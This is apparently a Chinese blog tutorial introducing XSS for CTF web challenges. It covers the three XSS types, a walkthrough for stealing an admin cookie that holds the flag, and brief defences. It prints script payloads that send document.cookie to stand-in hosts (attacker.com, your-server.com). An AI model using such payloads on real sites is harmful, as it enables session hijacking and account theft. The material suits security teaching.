news 2026/4/3 6:30:37

CTF Web 专项:XSS 跨站脚本攻击快速入门

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF Web 专项:XSS 跨站脚本攻击快速入门

CTF Web 专项:XSS 跨站脚本攻击快速入门

XSS(Cross - Site Scripting,跨站脚本攻击)是 Web 安全领域的核心考点,其本质是攻击者向 Web 页面注入恶意脚本(像 JavaScript 脚本),当用户访问该页面时,脚本会被浏览器执行,进而实现窃取用户信息、控制用户行为等目的。在 CTF(夺旗赛)中,常通过 XSS 来获取 Cookie、伪造操作等以拿到 Flag,下面快速讲解核心要点。

一、XSS 核心原理

Web 应用若未对用户输入(比如评论内容、搜索框输入、URL 参数等)进行过滤或者转义处理,攻击者注入的脚本就会被嵌入到页面的源码里。当其他用户访问这个页面时,浏览器会把恶意脚本当作合法代码来执行,从而达成攻击目的(例如窃取 Cookie、进行弹窗诈骗等)。

二、3 类常见 XSS 类型

(一)反射型 XSS

特点:恶意脚本是通过 URL 参数注入的,页面会 “反射” 执行该脚本,且不会持久存储脚本。

CTF 场景:假设 URL 中包含?name=xxx这样的参数,注入<script>alert(1)</script>,当访问这个 URL 时,脚本就会被执行,弹出警告框。

(二)存储型 XSS

特点:恶意脚本会被存储到服务器(比如数据库、文件等地方),所有访问该页面的用户都会触发这个脚本。

CTF 场景:以留言板功能为例,注入<script>document.location='``http://attacker.com/steal?cookie=``'+document.cookie</script>,当管理员查看留言时,Cookie 就会被发送到攻击者的服务器。

(三)DOM 型 XSS

特点:通过修改页面的 DOM 结构来执行脚本,和服务端交互没有关系,属于纯前端漏洞。

CTF 场景:页面中存在document.write(location.hash.substr(1))这样的代码,构造 URL#<script>alert(1)</script>,脚本会被写入页面并执行。

三、CTF 实战:从注入到拿 Flag

以 “反射型 XSS 拿 Flag(目标:窃取管理员 Cookie,Cookie 中包含 Flag)” 为例:

  1. 构造 payload:编写用于窃取 Cookie 的脚本,例如<script>document.location='``http://your-server.com/steal?cookie=``'+document.cookie</script>
  2. 注入 payload:在 URL 参数(比如?name=<script>...</script>)中注入该脚本,生成恶意链接。
  3. 诱导触发:让管理员点击这个恶意链接(在 CTF 中,常因为 “管理员会查看所有提交内容” 的规则,直接提交链接就可触发)。
  4. 获取 Flag:当管理员访问后,包含Flag{xxx}的 Cookie 会发送到your-server.com,从而拿到 Flag。

四、绕过与防御思路

(一)绕过过滤

如果前端或者服务端过滤了<script>等关键字,可通过以下方式绕过:

(二)防御核心

服务端要对用户输入进行严格的过滤、转义(比如把<转成<),或者前端使用CSP(内容安全策略)来限制脚本的来源。

文章来自网上,侵权请联系博主

互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!

网络安全学习资源

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/21 21:03:10

Java台球赛事:智能报名系统高效便捷

基于Java的台球赛事智能报名系统&#xff0c;可通过微服务架构、高并发处理、实时通信、智能匹配与推荐等技术&#xff0c;实现赛事管理的高效化与用户体验的便捷化。以下是具体实现方案与核心优势&#xff1a; 一、技术架构设计 后端框架 Spring Boot 3.0 Spring Cloud Ali…

作者头像 李华
网站建设 2026/3/31 20:32:38

Java/Python/Go 实现企微外部群自动化消息推送

QiWe开放平台 个人名片 API驱动企微自动化&#xff0c;让开发更高效 核心能力&#xff1a;为开发者提供标准化接口、快速集成工具&#xff0c;助力产品高效拓展功能场景 官方站点&#xff1a;https://www.qiweapi.com 团队定位&#xff1a;专注企微API生态的技术服务团队 对接…

作者头像 李华
网站建设 2026/3/26 17:18:18

亲测好用! 降AI率软件 千笔·专业降AIGC智能体 VS 云笔AI,本科生专属

在AI技术迅速发展的今天&#xff0c;越来越多的学生开始借助AI工具辅助论文写作&#xff0c;以提高效率和质量。然而&#xff0c;随着学术审查标准的不断提高&#xff0c;AI生成内容的痕迹越来越容易被识别&#xff0c;导致论文AI率超标、重复率过高&#xff0c;甚至影响毕业和…

作者头像 李华
网站建设 2026/3/26 20:42:53

2026年Facebook 公共主页养号指南:从零到稳定曝光的完整路径

很多人创建Facebook 公共主页后都会遇到同一个问题&#xff1a;内容发了&#xff0c;但几乎没人看&#xff1b;刚开始正常&#xff0c;过几天突然限流&#xff1b;甚至主页还没运营几天&#xff0c;就被系统判定为“低质量主页”。2026 年的 Facebook&#xff0c;已经不再信任“…

作者头像 李华